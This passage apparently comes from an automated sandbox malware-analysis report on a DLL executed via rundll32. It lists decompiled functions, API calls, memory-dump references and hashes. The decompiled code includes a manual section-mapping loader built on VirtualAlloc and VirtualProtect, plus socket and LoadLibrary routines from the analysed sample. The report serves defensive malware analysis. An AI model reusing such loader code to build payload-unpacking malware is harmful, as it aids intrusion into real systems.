				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x1002f780);
				_t8 = E1001984C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E10019891(_t8);
				}
				if( *0x1005c984 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x1005ad4c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E10017D62(_t31);
						 *_t10 = E10017D27(GetLastError());
					}
					goto L9;
				}
				E1001A549(4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E1001A5C2(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E1001A5ED();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E100163D6();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 1001639E

Part of subcall function 1001A549: __mtinitlocknum.LIBCMT ref: 1001A55D
Part of subcall function 1001A549: __amsg_exit.LIBCMT ref: 1001A569
Part of subcall function 1001A549: EnterCriticalSection.KERNEL32(00000001,00000001,?,1001C014,0000000D,1002FA58,00000008,1001C106,00000001,?,?,00000001,?,?,10017AE8,00000001), ref: 1001A571

___sbh_find_block.LIBCMT ref: 100163A9
___sbh_free_block.LIBCMT ref: 100163B8
RtlFreeHeap.NTDLL(00000000,?,1002F780,0000000C,1001BF6A,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562), ref: 100163E8
GetLastError.KERNEL32(?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001,00000001,?,1001C014,0000000D,1002FA58), ref: 100163F9

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction ID: 632ebcc47bfd7d50c2ae726889ea94072d2ceb4c664f4e9832d4c107bd8c1e1e
Opcode Fuzzy Hash: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction Fuzzy Hash: EE01D635805326EBEF20DBB4AC0AB9D3BF4EF053A0F214109F554AE091CB34EAC19A64

Uniqueness

Uniqueness Score: -1.00%

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E100021D0(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				long _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				int _t67;

				_v28 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						asm("sbb ecx, ecx");
						_v16 =  ~( ~(_a8[3] & 0x20000000));
						asm("sbb eax, eax");
						_v24 =  ~( ~(_a8[3] & 0x40000000));
						asm("sbb edx, edx");
						_v12 =  ~( ~(_a8[3] & 0x80000000));
						_t39 = _v24 * 8; // 0x10056f20
						_v20 =  *((intOrPtr*)((_v16 << 4) + _t39 + 0x10056f20 + _v12 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v20 = _v20 | 0x00000200;
						}
						_t67 = VirtualProtect( *_a8, _a8[2], _v20,  &_v8); // executed
						if(_t67 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 == _a8[1] && (_a8[4] != 0 ||  *((intOrPtr*)( *_a4 + 0x38)) ==  *(_a4 + 0x30) || _a8[2] %  *(_a4 + 0x30) == 0)) {
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
					}
					return 1;
				}
				return 1;
			}

APIs

VirtualFree.KERNELBASE(00000000,?,00004000,?,10002468,00000001,00000000,?,10002C68,?,?,?,?,10002C68,00000000,00000000), ref: 10002244

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction ID: def7816fd77fd5aef653724919a03fde70f7e86383ff2ba96e4cf8bb5acc80b5
Opcode Fuzzy Hash: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction Fuzzy Hash: 5A41B674600109AFEB44CF98C890BA9B7B6FB88350F25C659EC1A9F395C731EE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1001A305(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t7;
				void* _t10;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x1005ad4c = _t6;
				if(_t6 != 0) {
					_t7 = E1001A2AA(__eflags);
					__eflags = _t7 - 3;
					 *0x1005c984 = _t7;
					if(_t7 != 3) {
						L5:
						__eflags = 1;
						return 1;
					} else {
						_t10 = E1001A57A(0x3f8);
						__eflags = _t10;
						if(_t10 != 0) {
							goto L5;
						} else {
							HeapDestroy( *0x1005ad4c);
							 *0x1005ad4c =  *0x1005ad4c & 0x00000000;
							goto L1;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,1001796A,00000001,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C), ref: 1001A316
HeapDestroy.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001A34C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction ID: 8ebff57b685a6f4636b50d0b354dfd0ee4d70228ae444a146c3f0929ed30e208
Opcode Fuzzy Hash: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction Fuzzy Hash: 93E06D71A193569EFB10AB308C9972536F4EB46386F104826F911CD4A0F7B0C6C09A01

Uniqueness

Uniqueness Score: -1.00%

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10002010(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0x104e9
				_v20 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x4a8bb445
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x10002c17
				_v24 =  *_a16 + _t9;
				_v8 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000001
					if(_v8 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v24 + 0x10) != 0) {
						_t41 = _v24 + 0x14; // 0x4a8bb445
						_t43 = _v24 + 0x10; // 0x8b118bbc
						if(E10001FE0(_v28, _a8,  *_t41 +  *_t43) != 0) {
							_t47 = _v24 + 0x10; // 0x8b118bbc
							_t50 = _v24 + 0xc; // 0x4d8b0000
							_t76 = VirtualAlloc(_v20 +  *_t50,  *_t47, 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_t55 = _v24 + 0xc; // 0x4d8b0000
								_v12 = _v20 +  *_t55;
								_t58 = _v24 + 0x10; // 0x8b118bbc
								_t61 = _v24 + 0x14; // 0x4a8bb445
								E10001E60(_v12, _a4 +  *_t61,  *_t58);
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v24 + 8)) = _v12;
								L1:
								_v8 = _v8 + 1;
								_v24 = _v24 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v16 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v16 <= 0) {
						L8:
						goto L1;
					}
					_t28 = _v24 + 0xc; // 0x4d8b0000
					_v12 = VirtualAlloc(_v20 +  *_t28, _v16, 0x1000, 4);
					if(_v12 != 0) {
						_t33 = _v24 + 0xc; // 0x4d8b0000
						_v12 = _v20 +  *_t33;
						 *((intOrPtr*)(_v24 + 8)) = _v12;
						E10001E10(_v12, 0, _v16);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

APIs

VirtualAlloc.KERNEL32(4D8B0000,00000000,00001000,00000004,?,10002BFF,00000000), ref: 10002091
VirtualAlloc.KERNELBASE(4D8B0000,8B118BBC,00001000,00000004,10008AC6,8B118BBC,?,10002BFF,00000000,10008AC6,?), ref: 1000210C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction ID: c265c5d024e1aaa08d03296b5d335ffe068feccc9d90f6e2fd2d76d71ec68577
Opcode Fuzzy Hash: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction Fuzzy Hash: 4E51DEB4A0020ADFDB04CF94C591AAEB7F1FF48344F208598E915AB355D771EE91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E10008860(void* __eflags) {
				char* _v8;
				intOrPtr _v12;
				char _v16;
				char* _v20;
				void* __ebp;
				void* _t25;
				void* _t29;
				intOrPtr _t32;
				void* _t33;
				void* _t34;

				_v8 = E1001703B(_t25, _t29, _t33, _t34, 0x5f5e100);
				if(_v8 != 0) {
					_v12 = 0x5f5e100;
					_v16 = 0;
					_v20 = _v8;
					while(1) {
						__eflags = _v16 - 0x5f5e100;
						if(__eflags >= 0) {
							break;
						}
						 *_v20 = _v16;
						_v16 = _v16 + 1;
						_t32 = _v20 + 1;
						__eflags = _t32;
						_v20 = _t32;
					}
					_push(_v8); // executed
					E10016380(_t25, _t33, _t34, __eflags); // executed
					__eflags = _v16 - _v12;
					if(_v16 != _v12) {
						return 3;
					}
					return 0;
				}
				return 3;
			}

0x10008873
0x1000887a
0x10008883
0x1000888a
0x10008894
0x100088ab
0x100088ab
0x100088b2
0x00000000
0x00000000
0x100088ba
0x1000889f
0x100088a5
0x100088a5
0x100088a8
0x100088a8
0x100088c1
0x100088c2
0x100088cd
0x100088d0
0x00000000
0x100088d6
0x00000000
0x100088d2
0x00000000

APIs

_malloc.LIBCMT ref: 1000886B

Part of subcall function 1001703B: __FF_MSGBANNER.LIBCMT ref: 1001705E
Part of subcall function 1001703B: __NMSG_WRITE.LIBCMT ref: 10017065
Part of subcall function 1001703B: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001), ref: 100170B3

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction ID: 9e6909d06ecd8ca97a2f758cde8d66f904c366c92fb4d9c13ba1bad92c8ee0bf
Opcode Fuzzy Hash: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction Fuzzy Hash: 9A0178B4D0424CEFEB00CFA4C8446AEBBB4FB04354F60C8A9D9516B349E735AB00DB81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100011C0, Relevance: 10.6, APIs: 7, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100011F1
_memset.LIBCMT ref: 10001205
htonl.WS2_32(00000000), ref: 1000121B
htons.WS2_32(?), ref: 1000122F
socket.WS2_32(00000002,00000002,00000000), ref: 10001245
bind.WS2_32(?,?,00000010), ref: 1000126A
setsockopt.WS2_32(?,0000FFFF,00001006,00000001,00000008), ref: 100012AC

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Startup_memsetbindhtonlhtonssetsockoptsocket
String ID:
API String ID: 1003240404-0
Opcode ID: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction ID: 88ed1bb05716eef25c8d7e89d15ea7d56457a166ccc4c5acc9453768105f33a4
Opcode Fuzzy Hash: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction Fuzzy Hash: 1C215974A01228AFE760DF60CC85BD9B7B4EF49714F1081D8E949AB381CB71A9C2DF51

Uniqueness

Uniqueness Score: -1.00%

Function 10008B90, Relevance: 9.1, APIs: 6, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E10008B90(intOrPtr __ecx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				struct HDC__* _v120;
				char _v124;
				int _v128;
				int _v132;
				int _v136;
				struct HICON__* _v140;
				intOrPtr _v144;
				void* __ebp;
				signed int _t37;
				int _t40;
				void* _t41;
				void* _t66;
				struct tagRECT* _t82;
				void* _t84;
				void* _t85;
				signed int _t86;

				_t37 =  *0x10057a08; // 0xfd220812
				_v32 = _t37 ^ _t86;
				_v144 = __ecx;
				_t40 = IsIconic( *(_v144 + 0x20));
				_t87 = _t40;
				if(_t40 == 0) {
					_t41 = E1000C473(_t66, _v144, _t84, _t85, __eflags);
				} else {
					_push(_v144);
					E10013247(_t66,  &_v124, _t84, _t85, _t87);
					_t88 =  &_v124;
					if( &_v124 != 0) {
						_v136 = _v120;
					} else {
						_v136 = 0;
					}
					SendMessageA( *(_v144 + 0x20), 0x27, _v136, 0);
					_v128 = GetSystemMetrics(0xb);
					_v132 = GetSystemMetrics(0xc);
					_t82 =  &_v28;
					GetClientRect( *(_v144 + 0x20), _t82);
					asm("cdq");
					_v12 = _v20 - _v28 - _v128 + 1 - _t82 >> 1;
					asm("cdq");
					_v8 = _v16 - _v24 - _v132 + 1 - _t82 >> 1;
					_v140 =  *((intOrPtr*)(_v144 + 0x188));
					_t79 = _v8;
					DrawIcon(_v120, _v12, _v8, _v140);
					_t41 = E1001329B(_t66,  &_v124, _t84, _t85, _t88);
				}
				return E100167D5(_t41, _t66, _v32 ^ _t86, _t79, _t84, _t85);
			}

APIs

IsIconic.USER32(?), ref: 10008BB3

Part of subcall function 10013247: __EH_prolog3.LIBCMT ref: 1001324E
Part of subcall function 10013247: BeginPaint.USER32(?,?,00000004,1000C48A,?,00000058,10008C99), ref: 1001327A

SendMessageA.USER32(?,00000027,?,00000000), ref: 10008C01
GetSystemMetrics.USER32 ref: 10008C09
GetSystemMetrics.USER32 ref: 10008C14
GetClientRect.USER32 ref: 10008C2B
DrawIcon.USER32 ref: 10008C7E

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$BeginClientDrawH_prolog3IconIconicMessagePaintRectSend
String ID:
API String ID: 1007970657-0
Opcode ID: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction ID: 92cad86a1f48a06ffd889b7e25b84ff06398f92b7342aaec6ad7b9fd969ef154
Opcode Fuzzy Hash: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction Fuzzy Hash: BB31F975A00119DFEB24CFA8C995F9EBBB4FF48240F108299E549E7285DE30AA44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A803, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
libraryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000A803(void* __ebx, void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __esi;
				void* __ebp;
				signed int _t9;
				intOrPtr* _t18;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t34;
				void* _t35;
				signed int _t36;
				void* _t37;

				_t33 = __edi;
				_t32 = __edx;
				_t28 = __ecx;
				_t26 = __ebx;
				_t9 =  *0x10057a08; // 0xfd220812
				_v8 = _t9 ^ _t36;
				_t39 = _a4 - 0x800;
				_t35 = __ecx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags != 0) {
						goto L2;
					} else {
					}
				} else {
					_push(E1001808E(__edx,  &_v288, 4, "LOC"));
					E10009BC7(__ebx, _t28, __edi, _t35);
					_t37 = _t37 + 0x10;
					L2:
					_push(_t26);
					_push(_t33);
					_t34 =  *(E10017D62(_t39));
					 *(E10017D62(_t39)) =  *_t14 & 0x00000000;
					_t35 = 0x112;
					_t27 = E10016E0C( &_v284, 0x112, 0x111, 0x112,  &_v288);
					_t18 = E10017D62(_t39);
					_t40 =  *_t18;
					if( *_t18 == 0) {
						 *(E10017D62(__eflags)) = _t34;
					} else {
						E10009DD1( *((intOrPtr*)(E10017D62(_t40))));
					}
					if(_t27 == 0xffffffff || _t27 >= _t35) {
						_t12 = 0;
						__eflags = 0;
					} else {
						_t12 = LoadLibraryA( &_v284);
					}
					_pop(_t33);
					_pop(_t26);
				}
				return E100167D5(_t12, _t26, _v8 ^ _t36, _t32, _t33, _t35);
			}

APIs

_strcpy_s.LIBCMT ref: 1000A830

Part of subcall function 10009BC7: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 10009BC7: __EH_prolog3.LIBCMT ref: 1000A0FC

Part of subcall function 10017D62: __getptd_noexit.LIBCMT ref: 10017D62

__snprintf_s.LIBCMT ref: 1000A869

Part of subcall function 10016E0C: __vsnprintf_s_l.LIBCMT ref: 10016E21

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 1000A894
LoadLibraryA.KERNEL32(?), ref: 1000A8B7

Strings

LOC, xrefs: 1000A828

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8H_prolog3InfoLibraryLoadLocaleThrow__getptd_noexit__snprintf_s__vsnprintf_s_l_strcpy_s
String ID: LOC
API String ID: 4018564869-519433814
Opcode ID: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction ID: ee9450464cbd3e0ce3331b4d2b41357aa0e69ec1529eb2fe66138b72776ed960
Opcode Fuzzy Hash: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction Fuzzy Hash: A9119A7190411CABF725D760DC86BDD37B8EF06790F504161F6049B191DF74AEC68BA1

Uniqueness

Uniqueness Score: -1.00%

Function 100167D5, Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E100167D5(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x10057a08; // 0xfd220812
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x1005afc0 = _t6;
				 *0x1005afbc = _t22;
				 *0x1005afb8 = _t25;
				 *0x1005afb4 = _t21;
				 *0x1005afb0 = _t27;
				 *0x1005afac = _t26;
				 *0x1005afd8 = ss;
				 *0x1005afcc = cs;
				 *0x1005afa8 = ds;
				 *0x1005afa4 = es;
				 *0x1005afa0 = fs;
				 *0x1005af9c = gs;
				asm("pushfd");
				_pop( *0x1005afd0);
				 *0x1005afc4 =  *_t31;
				 *0x1005afc8 = _v0;
				 *0x1005afd4 =  &_a4;
				 *0x1005af10 = 0x10001;
				_t11 =  *0x1005afc8; // 0x0
				 *0x1005aec4 = _t11;
				 *0x1005aeb8 = 0xc0000409;
				 *0x1005aebc = 1;
				_t12 =  *0x10057a08; // 0xfd220812
				_v812 = _t12;
				_t13 =  *0x10057a0c; // 0x2ddf7ed
				_v808 = _t13;
				 *0x1005af08 = IsDebuggerPresent();
				_push(1);
				E100227FB(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x1002b434);
				if( *0x1005af08 == 0) {
					_push(1);
					E100227FB(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 1001C445
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001C45A
UnhandledExceptionFilter.KERNEL32(1002B434), ref: 1001C465
GetCurrentProcess.KERNEL32(C0000409), ref: 1001C481
TerminateProcess.KERNEL32(00000000), ref: 1001C488

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction ID: 29b7c1aed7e77d05a339182a33a9266dca5d513d51f4b37265af4c9016ee4a47
Opcode Fuzzy Hash: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction Fuzzy Hash: 0021B0B4408328DFE701DFA9EDC96487BB0FB0A315F50406AE508873A1E7B459C2CF55

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF59, Relevance: 6.0, APIs: 4, Instructions: 41
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FF59(void* __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t5;
				void* _t15;
				void* _t18;
				void* _t19;

				_t15 = __ecx;
				if((E10012862(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E1000FAB8(_t15, _t15, _t18, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t19 = E1000A7CE();
				if(_t19 == 0) {
					goto L6;
				}
				_t18 = GetKeyState;
				if(GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t19 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x1000ff5c
0x1000ff68
0x1000ffb0
0x1000ffb2
0x1000ffb9
0x00000000
0x1000ffbb
0x1000ff6f
0x1000ff73
0x00000000
0x00000000
0x1000ff75
0x1000ff82
0x00000000
0x1000ff96
0x1000ffa5
0x00000000
0x1000ffad

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetKeyState.USER32 ref: 1000FF7D
GetKeyState.USER32 ref: 1000FF86
GetKeyState.USER32 ref: 1000FF8F
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 1000FFA5

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
